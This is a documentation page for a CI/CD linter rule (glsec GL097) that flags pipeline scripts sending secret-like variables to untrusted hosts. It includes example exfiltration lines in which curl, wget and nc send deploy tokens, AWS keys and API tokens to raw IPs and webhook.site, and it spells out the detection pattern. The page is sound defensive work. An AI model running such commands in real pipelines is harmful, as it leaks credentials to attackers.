glsec

Rules / GL097

GL097 Secret sent to an untrusted destination

Severity: error
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
CWE: CWE-522 – Insufficiently Protected Credentials

Risk

A script step that references a secret-like variable ($DEPLOY_TOKEN, $AWS_SECRET_ACCESS_KEY, $CI_JOB_TOKEN, …) and, in the same connected pipeline, sends data off the runner to a destination no pipeline legitimately publishes to is credential exfiltration: the secret leaves the boundary the CI system was protecting it inside, and masking does nothing about it — masking only hides the value in the job log, not where it goes.

The tell is the destination, not the pairing. A secret next to a curl is how a pipeline publishes a release (a token POSTed to the project's own registry or webhook) and how a poisoned pipeline steals one — the two are the same shape, and what separates them is where the data goes. GL097 fires only when the target is one a project could not own:

This is the shape of the GhostAction campaign (2026): a planted curl to a raw IP with named secrets on one line, across thousands of repositories.

What glsec checks

Across every script surface (script:, before_script:, after_script:, default:, hooks:, run: steps), within one connected shell pipeline:

  1. a reference to a secret-like variable — a name carrying TOKEN, SECRET, PASSWORD, PASSWD, CREDENTIAL, APIKEY/API_KEY, or ending a segment with _KEY; and
  2. an egress command (curl, wget, nc/ncat/netcat); and
  3. an untrusted destination (above) as that command's URL argument or nc host operand.

Trigger example

exfiltrate:
  script:
    - curl --data "token=$DEPLOY_TOKEN" https://203.0.113.5/collect

Also flagged: wget --post-data="key=$AWS_SECRET_ACCESS_KEY" https://webhook.site/$HOOK, and echo "$API_TOKEN" | nc 198.51.100.7 4444.

What is not flagged

Forwarding the GitLab job token to any non-GitLab host — a broader destination, warn severity — is GL004. Both rules may fire on the narrow overlap (the job token to an untrusted drop point).

Safe alternative

Send secrets only to services the project owns, addressed by a hostname (ideally a CI/CD variable), never to a bare public IP or a catch-all endpoint:

publish:
  script:
    - curl --data "token=$DEPLOY_TOKEN" https://registry.example.com/upload

If a step both reads and transmits a secret, confirm the destination is one this project controls. Rotate any secret that has been sent to an untrusted endpoint.

Notes

References

Documentation for glsec 1.29.0. Source of this page · Rule implementation